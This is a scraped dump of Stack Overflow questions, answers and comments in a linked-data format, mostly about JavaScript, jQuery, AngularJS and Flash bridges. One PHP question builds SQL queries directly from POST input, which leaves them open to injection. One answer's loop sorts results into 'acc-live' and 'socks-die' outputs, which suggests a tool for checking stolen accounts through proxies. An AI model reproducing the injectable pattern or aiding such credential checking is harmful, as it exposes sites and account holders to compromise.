has body: I want to make a super simple javascript-actionscript3 bridge. call the actionscript's method with string param. and it returns the string param that have sent. this is my code. as3 file, package { import flash.display.Sprite; import flash.events.Event; import flash.external.*; import flash.external.ExternalInterface; public class Main extends Sprite{ function Main (){ ExternalInterface.addCallback ("getTextFromJavaScript", getTextFromJavaScript); } public function getTextFromJavaScript (str:String):void{ var test = str; } } } i build this, and created on Detect.swf html and javascript, &lt;object id="ext" data="Detect.swf" style="height: 100px; width: 100px;" type="application/x-shockwave-flash"&gt; &lt;param name="movie" value="Detect.swf"&gt; &lt;param name="allowScriptAccess" value="always" /&gt; &lt;param name="wmode" value="opaque"&gt; &lt;/object&gt; &lt;script type="text/javascript" charset="utf-8"&gt; function getFlashMovie(movieName) { var isIE = navigator.appName.indexOf("Microsoft") != -1; return (isIE) ? window[movieName] : document[movieName]; } getFlashMovie("Detect").getTextFromJavaScript("hihi"); &lt;/script&gt; and finally, it throws an error :(, Uncaught TypeError: Cannot read property 'getTextFromJavaScript' of undefined
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25598929

http://stackoverflow.com/comment/40131211
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25628159
has text: Yes I have added the meta tag and doctype.. That is not the issue. After a huge reserach I found that the issue was with the css. mapcontrol.css inside http://ecn.dev.virtualearth.net/mapcontrol/v6.3/css have a class for the map container- `.MSVE_Map` which have the attribute `position:absolute` Which I have overridden to `position:relative` which actually solved the issue.. Strange.. ;)
type: AnswerComment

http://stackoverflow.com/a/25665996
answers question: http://stackoverflow.com/q/25663745
score: 0
type: AcceptedAnswer
has body: When you click in the score boxes inside each row, both are update correctly because both directives are watching the same property. So when one of the directives changes the number of starts the other one is notified of that change and forces a render. Since both directives are inside the same ng-repeat scope, both score boxes are re-rendered. Try to remove one of the directives from the row inside the ng-repeat and you will notice it will no longer update correctly. One way to fix it is to call ctrl.$render() after setting the view value. Like this: scope.set = function (score) { if (ctrl.$viewValue === score) { score--; } ctrl.$setViewValue(score); ctrl.$render(); }; The other option is to define a ng-modelreference in the scope and update it directly. require : 'ngModel', scope: { ngModel: '=?' } And then: scope.set = function (score) { scope.ngModel = score; };
type: Answer
has comment: http://stackoverflow.com/comment/40109656
accepted answer of: http://stackoverflow.com/q/25663745

http://stackoverflow.com/comment/40071300
score: 1
comment on: http://stackoverflow.com/q/25645310
type: Comment
type: QuestionComment
has text: Why not just `var x = a || b || c`?

http://stackoverflow.com/q/25631772
has title: How to use unordered bulk inserting with Mongoskin?
favorite count: 0
has answer: http://stackoverflow.com/a/25636911
tagged with: node.js
tagged with: mongodb-query
type: AnsweredQuestion
has body: I'm having trouble using Mongoskin to perform bulk inserting (MongoDB 2.6+) on Node. var dbURI = urigoeshere; var db = mongo.db(dbURI, {safe:true}); var bulk = db.collection('collection').initializeUnorderedBulkOp(); for (var i = 0; i &lt; 200000; i++) { bulk.insert({number: i}, function() { console.log('bulk inserting: ', i); }); } bulk.execute(function(err, result) { res.json('send response statement'); }); The above code gives the following warnings/errors: (node) warning: possible EventEmitter memory leak detected. 51 listeners added. Use emitter.setMaxListeners() to increase limit. TypeError: Object #&lt;SkinClass&gt; has no method 'execute' (node) warning: possible EventEmitter memory leak detected. 51 listeners added. Use emitter.setMaxListeners() to increase limit. TypeError: Object #&lt;SkinClass&gt; has no method 'execute' Is it possible to use Mongoskin to perform unordered bulk operations? If so, what am I doing wrong?
tagged with: mongoskin
upvote count: 1
type: Question
score: 1
accepted answer: http://stackoverflow.com/a/25636911
linked to: http://stackoverflow.com/q/38810387
tagged with: mongodb
answer count: 1
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40132420
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25624904
type: AnswerComment
has text: yes shape moving back and fourth from x and y but x nd Y position user defined. if user specified to move shape from X=0 to Y=250, so how can i achieve this?

http://stackoverflow.com/a/25789679
accepted answer of: http://stackoverflow.com/q/25701299
type: AcceptedAnswer
score: 0
has body: I use $_GET[] in other pge it was easier!
type: Answer
answers question: http://stackoverflow.com/q/25701299

http://stackoverflow.com/q/25595191
favorite count: 0
tagged with: promise
has comment: http://stackoverflow.com/comment/39979971
tagged with: angularjs
has comment: http://stackoverflow.com/comment/39979847
tagged with: foreach
type: AnsweredQuestion
tagged with: angular-promise
has body: I'm getting data back from a resource like this: var result = someService.getData(); result.$promise.then(function() { console.log(result); }); This gives me the following result: 1: "200" 2: "1810" $promise: Object $resolved: true __proto__: f I need to put this data in a javascript array, that looks like this: [[1, 200], [2, 1810]] I tried to do this in a forEach: var data = []; angular.forEach(monthly, function(value, key) { var tmp = []; tmp[0] = key; tmp[1] = value; data.push(tmp); }); But then the $promise and $resolved properties are also appearing in the foreach. This also doesn't look like the best way to do it either. How should I do this in a proper way?
has answer: http://stackoverflow.com/a/25595485
accepted answer: http://stackoverflow.com/a/25595485
type: Question
score: 1
upvote count: 1
has title: Put $promise data in a Javascript array
answer count: 1
downvote count: 0
tagged with: javascript

http://stackoverflow.com/comment/40087083
score: 0
has text: I've updated my example below with a link to a fiddle. I hope that helps.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25653236

http://stackoverflow.com/q/25590799
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/39971824
score: -3
tagged with: http://stackoverflow.com/tag/html
tagged with: php
type: UnansweredQuestion
downvote count: 3
type: Question
has body: I have a the following code &lt;?php ob_start(); include '../connection.php'; ?&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;title&gt;Easy Installment Motorcycle Scheme Haripur&lt;/title&gt; the following code print this page &lt;script type="text/javascript"&gt; function printpage() { window.print(); } &lt;/script&gt; &lt;/head&gt; &lt;body onload="printpage()"&gt; &lt;div style="width:500px; margin-left:50px"&gt; &lt;?php $sSql="SELECT * FROM landing_page WHERE status='active'"; $result=mysqli_query($con,$sSql); if(!$result){ die(mysqli_error($con)); } $row=mysqli_fetch_array($result); ?&gt; &lt;h2 style="text-align:center"&gt;Receipt For &lt;?php echo $row['schemeName'];?&gt;&lt;/h2&gt; at the following line I want to get the receipt number which will auto generate wherever print function call either with php javascript or html &lt;h3&gt;Receipt No: &lt;/h3&gt; &lt;?php $sSql="SELECT * FROM draw_date_time"; $result=mysqli_query($con,$sSql); if(!$result){ die(mysqli_error($con)); } $row=mysqli_fetch_array($result); ?&gt; &lt;h3&gt;Draw Date: &lt;u&gt;&lt;?php echo $row['date_of_draw'];?&gt;&lt;/u&gt; &amp;nbsp; Draw Time: &lt;u&gt;&lt;?php echo $row['time_of_draw'];?&gt;&lt;/u&gt; &amp;nbsp; Draw Place: &lt;u&gt;&lt;?php echo $row['draw_address'];?&gt;&lt;/u&gt;&lt;/h3&gt; &lt;?php $reg_number=$_POST['reg_number']; $month=date('Y-m-d',strtotime($_POST['month'])); $sSql="SELECT * FROM users u LEFT JOIN installments i ON u.id = i.fk_users_id WHERE u.reg_number = '$reg_number' AND i.month='$month' LIMIT 0 , 30"; $result=mysqli_query($con,$sSql); if(!$result){ die(mysqli_error($con)); } $row=mysqli_fetch_array($result); ?&gt; &lt;h2&gt;Memebership No: &lt;u&gt;&lt;?php echo ucfirst($row['reg_number']);?&gt;&lt;/u&gt;&lt;/h2&gt; &lt;table widt…
has answer: http://stackoverflow.com/a/25590876
has title: count how many times print function call in javascript
tagged with: javascript
upvote count: 0

http://stackoverflow.com/q/25665576
tagged with: javascript
has comment: http://stackoverflow.com/comment/40171472
tagged with: angularjs
tagged with: firebase-hosting
type: Question
has answer: http://stackoverflow.com/a/25700684
has comment: http://stackoverflow.com/comment/40169855
has title: Angular (with Firebase) app deploy to Firebase problems
score: 0
answer count: 1
tagged with: firebase
has comment: http://stackoverflow.com/comment/40170347
has comment: http://stackoverflow.com/comment/40112846
accepted answer: http://stackoverflow.com/a/25700684
has body: I have created one of my first angular apps through the Thinkster IO tutorial and want to deploy the application to Firebase. I've run firebase init and firebase deploy, both of which run successfully. When opening the application from firebase the page loads but shows nothing. On opening the JS console there are three errors The errors are: 1) [blocked] The page at 'https://ngfantasyfootball.firebaseapp.com/' was loaded over HTTPS, but ran insecure content from 'http://static.firebase.com/v0/firebase.js': this content should also be loaded over HTTPS. 2) Uncaught ReferenceError: Firebase is not defined angularFire.js:17 3) Uncaught Error: [$injector:unpr] Unknown provider: angularFireAuthProvider &lt;- angularFireAuth angular.js:60 Any ideas on how to solve the first error? The second, Firebase is not defined says its from the angularFire script? The application runs locally without any errors so I am unsure as to why this comes up. The 3rd error, angularFireAuthProvider. I've seen some questions that had answers about using simpleLogin instead of angularFireAut but am unsure if that is the source of the errors. Any help would would be great, I've been struggling with this for awhile now. Config.JS 'use strict'; angular.module('fantasyApp.config', []) app.config(['$routeProvider', function($routeProvider) { $routeProvider .when('/', { templateUrl: 'views/default.html' }) .when('/signin', { templateUrl: 'views/users/signin.html' }) .when('/signup', { templateUrl: 'views/users/signup.html' }) .when('/nflteams', { templateUrl: 'views/nfl/list.html', authRequired: true }) .when('/nflteams/:nflTeamId', { templateUrl: 'views/nfl/view.html', authRequired: true }) .when('/leagues', { templateUrl: 'views/leagues/list.html', authRequired: true }) .when('/leagues/create', { templateUrl: 'views/leagues/edit.html', authRequired: true }) .when('/leagues/:leagueId', { templateUrl: 'views/leagues/view.html', authRequired: true }) .when('/leagues/:leagueId/edit', { templateUrl: 'vi…
type: AnsweredQuestion

http://stackoverflow.com/q/25625824
has answer: http://stackoverflow.com/a/25630810
has comment: http://stackoverflow.com/comment/40041640
possible better answer: http://stackoverflow.com/a/25626915
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40043323
has comment: http://stackoverflow.com/comment/40036591
has comment: http://stackoverflow.com/comment/40035981
accepted answer: http://stackoverflow.com/a/25630810
has comment: http://stackoverflow.com/comment/40043119
type: Question
has comment: http://stackoverflow.com/comment/40042708
has comment: http://stackoverflow.com/comment/40042854
tagged with: javascript
score: 0
answer count: 2
has title: jQuery Datatable Modal - Add information
tagged with: datatables
has answer: http://stackoverflow.com/a/25626915
has comment: http://stackoverflow.com/comment/40036959
tagged with: jquery
has comment: http://stackoverflow.com/comment/40044998
has body: I'm trying to do the following. When you click on any one line, open a modal with the information of line and a ComboBox with information from another table and insert it into a new table in database. My question is, can do this via a modal? How? Thank you. Follow my source. And my HTML source.. ID ARM CITY REG QNTD SIZE DT_START DT_END DAYS Loading.. ID ARM CITY REG QNTD SIZE DT_START DT_END DAYS UPDATE: fnDrawCallback Whith Modal.... Okay, The question now is: How do I add a ComboBox with informations from my database?? "fnDrawCallback" : function() { $('td.readonly').on('click', function (e) { var id_armario = oTable.fnGetData($(this).parents('tr')[0])[0]; var armario = oTable.fnGetData($(this).parents('tr')[0])[1]; var cidade = oTable.fnGetData($(this).parents('tr')[0])[2]; dialog = $( "#users-contain" ).dialog({ autoOpen: false, height: 300, width: 350, modal: true, open: function( event, ui ) { $( "#users tbody" ).append( " " + " " + id + " " + " " + arm + " " + " " + city + " " + " " ); }, close: function( event, ui ) { $("#users tbody").empty(); }, buttons: { "OK": function(){ dialog.dialog( "close" ); }, Cancel: function() { dialog.dialog( "close" ); } } }); And the HTML for Modal... Existing Users: Id Arm City

getboundingclientrect
tags question: http://stackoverflow.com/q/25630035
tag name: getboundingclientrect
type: Tag

http://stackoverflow.com/q/25675549
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25776237
type: Question
tagged with: javascript
has title: How could a make Fluidbox.js work with tabs
score: 0
has answer: http://stackoverflow.com/a/25776237
answer count: 1
tagged with: lightbox
tagged with: jquery
tagged with: twitter-bootstrap
has body: I try to use the Fluidbox script with the bootstrap tab plugin. When I click on a tab, new images appear. They are in a container and the opacity goes from 0 to 1. By default the first container opacity is set to 1. Fluidbox works well with that container but not with the other. I suspect that it has a link with opacity change. Any ideas? Page with the problem: http://urlgone.com/2d0035/

http://stackoverflow.com/comment/40089472
type: Comment
comment on: http://stackoverflow.com/a/25655158
score: 2
type: AnswerComment
has text: That creates them as properties of the global object, which is subtly different to global variables, e.g. global variables are available before any code executes, whereas global properties are only available once the code that creates them executes (which might be never).

http://stackoverflow.com/comment/40006511
type: QuestionComment
has text: Easy enough to do by parsing with esprima and rewriting. Or you could look at sweet.js, a macro pre-processor.
comment on: http://stackoverflow.com/q/25609219
score: 1
type: Comment

http://stackoverflow.com/q/25586674
downvote count: 0
favorite count: 0
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25587125
has comment: http://stackoverflow.com/comment/39968279
score: 2
upvote count: 2
type: Question
has comment: http://stackoverflow.com/comment/39978344
tagged with: javascript
has body: I am using sketch.js http://intridea.github.io/sketch.js/ so users can create drawing in my app. Once they are finished drawing, and click save, I convert the drawing into a png image using this function: convertCanvasToImage = (canvas) -&gt; image = new Image() image.src = canvas.toDataURL("image/png") image And then I just append the image to the DOM. But what if a user wants to edit the drawing afterwards? How can I take that image and add it to the canvas that sketch.js uses? I tried the following with failed results. When you click the png image I run this code to try to append the image to canvas, but it does not seem to work at all. The canvas is in a modal and once it appears I run the following code to append the image to canvas, but no image appears. template.$('#sketchModal').on 'shown.bs.modal', (e) -&gt; c = document.getElementById("sketchPad") ctx = c.getContext("2d") ctx.drawImage(e.target, 0, 0)
linked to: http://stackoverflow.com/q/17939462
has title: How can I restore a saved image of a canvas drawing into a new canvas instance?
tagged with: canvas
tagged with: html5-canvas
has comment: http://stackoverflow.com/comment/39978564
answer count: 1

http://stackoverflow.com/comment/39966964
has text: Tried it, didn't work either. It's weird though, I don't have a problem with the first 10 posts loaded(without jq), and the first batch of posts(10) loaded from infinite scroll works fine too. The next 10 pots loaded after that doesn't work. I've tried checking if there's a pattern in which posts doesn't work, but it seems kindof random. Each "batch" of posts loaded has like a chance of getting bugged? Is that even possible
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25588138
score: 0

http://stackoverflow.com/a/25671084
answers question: http://stackoverflow.com/q/25667803
has body: If you just want to wait for the ajax call to be finished why you can't just make it async : false? (though I'd not recommend it) jQuery.ajax({ url: '/postdata' , type: "POST", async : false, // here data: {params: post_json}, success: function(data){ var obj = JSON.parse(data); if(obj.error == 0){ // $("#acc-live").append(obj.msg + "&lt;br/&gt;"); } else if(obj.error == 1){ // $("#socks-die").append(obj.msg+ "&lt;br/&gt;"); } else if(obj.error == 2){ // $("#acc-die").append(obj.msg+ "&lt;br/&gt;"); } } }); that would make the loop to wait until the method finishes it execution
score: 0
type: Answer

http://stackoverflow.com/comment/40134899
comment on: http://stackoverflow.com/a/25680594
type: AnswerComment
has text: can you give example of `onchange`?
score: 0
type: Comment

http://stackoverflow.com/q/25590732
accepted answer: http://stackoverflow.com/a/25590746
score: 0
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html
tagged with: css
tagged with: margin
type: AnsweredQuestion
has title: change margin-right value of an element using jQuery
has answer: http://stackoverflow.com/a/25590746
type: Question
has body: I have created a simple list in HTML and assigned different values of margin-right to each of the 's using CSS (jsFiddle). This is the HTML mark-up of it: First Second Third Fourth Fifth CSS: ul { padding: 0px; margin: 0px; } ul li { display: inline-block; } ul li:first-child { margin-right: 10px; } ul li:nth-child(2) { margin-right: 20px; } ul li:nth-child(3) { margin-right: 30px; } ul li:nth-child(4) { margin-right: 40px; } ul li:last-child { margin-right: 50px; } The question which I have in my mind is that would it be possible to replace the margin-right value of the first-child with that of the second-child utilizing the following jQuery snippet: jQuery('ul li:first-child').css('margin-right', ''); For example, the first-child has a margin-right value of 10px and the second-child has a margin-right value of 20px therefore the jQuery should replace the margin-right value of the first-child to 20px.

http://stackoverflow.com/a/25649227
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25649202
has comment: http://stackoverflow.com/comment/40079199
has comment: http://stackoverflow.com/comment/40079245
answers question: http://stackoverflow.com/q/25649202
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/40078938
has comment: http://stackoverflow.com/comment/40079430
score: 1
has body: HTML: Do not apply an event handler in your html.. It's just bad practice. Instead just use what you need &lt;select id="category" class="form-control" name="category"&gt; JS: Apply your event handler in your javascript like this: $("#category").change('select', addTopics); and define your function seperately as a named function. The event handler will call it now. function addTopics() { alert('hi'); var category_id="category_id="+$("#category").val(); $.getJSON("get_topic",category_id, function(topic) { $('#topic').empty(); $('#topic').append("&lt;option&gt;--- Select Quiz Topic ---&lt;/option&gt;"); for(var t in topic) { var option = $('&lt;option /&gt;'); option.attr('value', topic[t].id).text(topic[t].name); $('#topic').append(option); } }); }

http://stackoverflow.com/a/25705555
upvote count: 1
has body: It is not a good idea to detect mobile using screen size. Using JavaScript, find the user agent. If the UA is of mobile, redirect them. There are a lot of plugins for this. redirection_mobile.js is a utility script that covers a basic scenario for redirecting your website to a mobile verison through JavaScript. You just need to call this script this way: &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="redirection-mobile.js"&gt;&lt;/script&gt; &lt;script&gt; SA.redirection_mobile(); &lt;/script&gt; &lt;/head&gt;
answers question: http://stackoverflow.com/q/25705536
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/comment/40011084
type: Comment
has text: Of course i can haha =D.. i cant vote because i don't have reputation, but i already accept the answer =)
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25612151

http://stackoverflow.com/q/25631505
has answer: http://stackoverflow.com/a/25631733
has comment: http://stackoverflow.com/comment/40046731
score: 0
has body: I have an array of images that I want to display randomly on my page, however if the image extension matches the url extension, it should skip that certain entry in the array and move onto the next. Here is my code so far. $(document).ready( function() { //$('.test a').append('&lt;img class="img-responsive portfolio-item thumbnail" src="http://placehold.it/500x300" alt=""&gt;'); var imgs = ["img1.png","img2.png","img3.png","img4.png",] for ( var n=0; n &lt; 4; n ++){ var goImg = 'img/' + imgs[n]; n = parseInt(n); var pItem = 'pItem' + (n + 1); $('#otherProjects').append('&lt;div class="col-sm-3 col-xs-6"&gt; &lt;a href="'+pItem+'.html"&gt; &lt;img class="img-responsive portfolio-item thumbnail" src="'+goImg+'" alt=""&gt; &lt;/a&gt; &lt;/div&gt;'); } });
tagged with: http://stackoverflow.com/tag/html
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40046563
has title: Display randomly from array based on URL
has comment: http://stackoverflow.com/comment/40046805
type: Question
has comment: http://stackoverflow.com/comment/40046610
answer count: 2
has answer: http://stackoverflow.com/a/25652575
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/39983449
comment on: http://stackoverflow.com/a/25596767
has text: if I added this code to the end of the new_Row variable: var new_row = ' '+distanceRan+' '+timeRan+' '+dateRan+' '+' '+' Clear Entry'+' ' Would I be able to use the new button to remove the table row which the button sits on?
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25673736
type: Answer
has body: Your code works fine. The math adds up perfectly. Just a few suggestions: change instead of click event this.value instead of $(this).val() +checked.split('$') and do away with parseFloat DEMO $(function() { var displayPrice = $('#show')[0]; $("#config input[type=radio]").on('change',function() { var total = 0; $("#config input[type=radio]:checked").each(function() { var checked = this.value; var checkNum = +checked.split('$')[1]; total += checkNum; }); displayPrice.innerHTML = total; }); });
score: 0
answers question: http://stackoverflow.com/q/25673499

http://stackoverflow.com/q/25675727
has title: Is it possible to re-order the node.js event loop?
type: UnansweredQuestion
has body: In nodeJS, I know that if I dump a bunch of big callbacks on some asynchronous calls, they'll all be put in the event loop and eventually resolved. I'm pretty sure, based on the MDN description of the event loop, that this is generally done in a FIFO manner. On an application I'm working on, I dump a bunch of asynchronous calls that manipulate a database based on some web scraping requests every 30 minutes. I don't really care if these take a minute or two to get through, since I'm only calling them every 30 minutes and the volume of these calls won't change. However, if a user makes a GET request to the server during that two minutes, I'd rather have them not hit lag while the server finishes up processing all of the web scraping. Is there a way to fast-track these user requests to the front of the event queue?
tagged with: node.js
has answer: http://stackoverflow.com/a/25675860
has comment: http://stackoverflow.com/comment/40126392
type: Question
has comment: http://stackoverflow.com/comment/40126709
has comment: http://stackoverflow.com/comment/40126449
has comment: http://stackoverflow.com/comment/40127513
tagged with: javascript
score: 0
answer count: 1

http://stackoverflow.com/comment/40193550
type: AnswerComment
has text: Lets just say that Typo was very lucky :)
comment on: http://stackoverflow.com/a/25712357
type: Comment
score: 0

http://stackoverflow.com/comment/40041529
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25614050
has text: You only call `resetOpt()` when the parent of the SELECT is not a DIV. The parent of the Garment Style menu is a DIV, so you don't hide the old color menus before showing the new one.
type: Comment

http://stackoverflow.com/comment/39956908
has text: +1 for the explanation. This is exactly what i wanted to know. @Amna Irfan thanks :)
comment on: http://stackoverflow.com/a/25582634
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25601585
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/25597356
has comment: http://stackoverflow.com/comment/45651652
answers question: http://stackoverflow.com/q/25597356
has body: The problem is that buttonStyle is a global variable. When you iterate over the buttonStyles array all 5 * 3 = 15 then blocks are scheduled, but since buttonStyle is the same reference inside of every then block only the last buttonStyle is actually checked 5 times. Javascript doesn't have block level scope (inside while), but only function level scope. The solution would be to introduce a function to do this. You can use an IIFE or casper.repeat like you did. while (buttonStyles.length &gt; 0) { buttonStyle = buttonStyles.pop(); (function(buttonStyle){ casper.then(function(){ phantomcss.screenshot(buttonStyle.selector, buttonStyle.title); }); casper.then(function(){ this.mouse.move(buttonStyle.selector); phantomcss.screenshot(buttonStyle.selector, buttonStyle.title + ' - Hover'); }); casper.then(function(){ this.mouse.down(buttonStyle.selector); phantomcss.screenshot(buttonStyle.selector, buttonStyle.title + ' - Down'); }); })(buttonStyle); }
score: 4
upvote count: 4
type: AcceptedAnswer

http://stackoverflow.com/q/25699390
linked to: http://stackoverflow.com/q/2897598
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40170218
has title: Can I load with AJAX from a string? (Trying to delay activation of some HTML)
has comment: http://stackoverflow.com/comment/40169625
has body: I have an HTML page where some sections require large Javascript files and contain large images. These sections are initially dot displayed. Despite "display: none" the browser loads all images and Javascript. One way to solve this problem would be to move these sections into a separate file and use ajax to load it. I want to avoid the overhead of making another request and I am thinking it would be nice to ajax-load the html from the dom or a javascript string. Is this possible? Thanks, Ropo
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40169639
answer count: 1
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40186316
tagged with: ajax
has answer: http://stackoverflow.com/a/25699425

http://stackoverflow.com/a/25767438
score: 0
type: Answer
has body: This will return the month moment("2015-01-05").format("MMM") This will return the day moment("2015-01-05").format('ddd')
answers question: http://stackoverflow.com/q/25682646

http://stackoverflow.com/comment/40012237
has text: @LcSalazar my apologies. I have removed the jQuery from the solution.
type: Comment
comment on: http://stackoverflow.com/a/25612877
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39945628
has text: The "duplicate solution" doesn't help me. If the blur event are called before the click event, the mousedownHappened boolean will be false. So, the blur event will not be canceled. In my case, the blur hide the click zone, so my second event are never called :(
comment on: http://stackoverflow.com/q/25576255
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/25691010
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25688528
has body: As correctly mentioned in comments by @hunch_hunch, you should use knockout options binding for this. Suppose your Travel model looks like this: function Travel(id, name) { this.Id = id; this.Name = name; } Then in your view model you have your observableArray with collection of Travel objects (this refers to view model): this.Travelname = ko.observableArray([new Travel(1, 'Moscow'), new Travel(2, 'Paris'), new Travel(3, 'San Francisco')]); The final part is your markup, which should be something like this: &lt;select data-bind="options: Travelname, optionsText: 'Name', optionsValue: 'Id', optionsCaption: 'Select travel...'"&gt;&lt;/select&gt; Here is final working demo. I've added simple functionality to add items to the list, so you would see how to do that.

showdown
tags question: http://stackoverflow.com/q/25565558
type: Tag
tag name: showdown

http://stackoverflow.com/q/25677002
tagged with: plugins
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40156704
has answer: http://stackoverflow.com/a/25677091
accepted answer: http://stackoverflow.com/a/25677091
downvote count: 0
score: 1
type: Question
has body: I used to use Excel VBA to launch Internet Explorer and navigate to a url. That don't work for me no more (perhaps Windows 8). Anyway, time to take a new approach. If I want some javscript code to monitor a page like Google Finance and call a web service every time a number changes (like a stock price) where is the best place to house this code? Should I target a particular browser and write a "plug-in". I'm having difficulty conceptualising where the code should/can reside.
tagged with: javascript
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/40161300
has title: Where is best place to house javascript code that monitors a web page and calls off to a web service when some numbers change?
has comment: http://stackoverflow.com/comment/40129050
favorite count: 0

http://stackoverflow.com/q/25700471
type: Question
tagged with: javascript
tagged with: google-maps-api-3
upvote count: 2
has comment: http://stackoverflow.com/comment/40174182
answer count: 1
has title: Create elevation profile from GeoJson feature
favorite count: 0
has comment: http://stackoverflow.com/comment/40189775
type: AnsweredQuestion
score: 2
downvote count: 0
has body: I have a map which contains a GeoJson file with lines, displaying some trails. Is it possible to use Google Maps API Elevation Service to create elevation profiles for every feature line of the GeoJson file? I want the elevation profile to be displayed when I click one of the lines. Something like this example: http://www.trailforks.com/region/la-bouilladisse/ My code, until now, looks like this: google.load("visualization", "1", {packages: ["columnchart"]}); function initialize() { var options = { center: new google.maps.LatLng(44.701991, 22.624884), zoom: 12, mapTypeId: google.maps.MapTypeId.TERRAIN }; map = new google.maps.Map(document.getElementById("map"), options); trasee = new google.maps.Data() trasee.loadGeoJson('http://googledrive.com/host/0B55_4P6vMjhITEU4Ym9iVG8yZUU/trasee.geojson') trasee.setMap(map) styling = (function(feature) { var clasificare = feature.getProperty('Tip_drum'); var culoare; if (clasificare == ('Poteca')) (culoare = 'brown') else if (clasificare == ('Drum forestier')) (culoare = 'green') else if (clasificare == ('Drum comunal (neasfaltat)')) (culoare = 'brown') else if (clasificare == ('Drum judetean (neasfaltat)')) (culoare = 'brown') else if (clasificare == ('Drum comunal (asfaltat)')) (culoare = 'gray') else if (clasificare == ('Drum judetean (asfaltat)')) (culoare = 'gray') else (culoare = 'black') return ({ strokeColor: culoare, strokeWeight: 3 }) }) trasee.setStyle(styling) elevator = new google.maps.ElevationService(); } I know that I have to make a request like this: var pathRequest = { 'path': source of latlng for creating the path 'samples': 256 } So basically, I think that the GeoJson must be added somewhere in the pathRequest, but I don't know how, and how to create a different elevation plot for every feature in my GeoJson file. fiddle of existing code OK, so now I try to display the elevation charts along with the Tip_drum attribute in infowindows, when I click the data. I added this code: map.data.addListener('click', f…
has answer: http://stackoverflow.com/a/25715647
accepted answer: http://stackoverflow.com/a/25715647
tagged with: geojson

http://stackoverflow.com/comment/40174043
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25701914
has text: No I don't! I open it using Safari and it displays the text, but when I click on #main it doesn't work
score: 0

http://stackoverflow.com/a/25667054
answers question: http://stackoverflow.com/q/25666949
type: Answer
accepted answer of: http://stackoverflow.com/q/25666949
has body: You could try creating a transparent SVG path layer that covers the flower and make that the flower click layer, then make everything else the background click layer.
score: 1
has comment: http://stackoverflow.com/comment/40110475
upvote count: 1
type: AcceptedAnswer
downvote count: 0

alert
tags question: http://stackoverflow.com/q/25660227
tags question: http://stackoverflow.com/q/25600929
type: Tag
tags question: http://stackoverflow.com/q/25692513
tag name: alert
tags question: http://stackoverflow.com/q/25551444
tags question: http://stackoverflow.com/q/25619339

http://stackoverflow.com/q/25638580
has comment: http://stackoverflow.com/comment/40064551
tagged with: actionscript
score: 0
has title: Shared Objects in Flash to Javascript?
has answer: http://stackoverflow.com/a/25648664
answer count: 1
tagged with: actionscript-3
type: UnansweredQuestion
has body: I have found a bunch of online games with high-score saving, and the documentation says Game settings and highscores saved to Shared Objects. What does this means? Is it possible to catch that "shared objects" from Flash in Javascript? I have searched on Google regarding this, but cannot find anything. Thanks!
has comment: http://stackoverflow.com/comment/40079654
type: Question
tagged with: flash
tagged with: javascript

http://stackoverflow.com/comment/39915543
type: Comment
comment on: http://stackoverflow.com/a/25560259
score: 0
type: AnswerComment
has text: @CupOfJoe It works with that as well.http://plnkr.co/edit/Ry3C1m?p=preview Are you sure the code you have posted is exactly the way you are using it?

http://stackoverflow.com/comment/40184232
score: 0
type: AnswerComment
has text: what I want is to pass the logging data in json format to the checkuser.php page
type: Comment
comment on: http://stackoverflow.com/a/25707414

http://stackoverflow.com/comment/39957899
type: AnswerComment
score: 0
has text: Thanks for the response but it tells me expression statement is not assignment or call.
type: Comment
comment on: http://stackoverflow.com/a/25583185

http://stackoverflow.com/comment/40138501
comment on: http://stackoverflow.com/q/25652912
score: 0
has text: Could you make a picture of your "mental model"? Just something very simple so that I understand what you are after. (Try http://www.onemotion.com/flash/sketch-paint/ for example).
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25674479
upvote count: 3
type: AcceptedAnswer
downvote count: 1
has body: $.ajax({ url: 'http://api.wmata.com/StationPrediction.svc/json/GetPrediction/A10,A11?api_key=hadtcpbh3w5xjbtyqrzgm88x', dataType: 'jsonp', success: function(data){// your code here } });
type: Answer
score: 2
answers question: http://stackoverflow.com/q/25674437
accepted answer of: http://stackoverflow.com/q/25674437

http://stackoverflow.com/a/26180566
type: Answer
upvote count: 6
accepted answer of: http://stackoverflow.com/q/25693912
answers question: http://stackoverflow.com/q/25693912
type: AcceptedAnswer
downvote count: 0
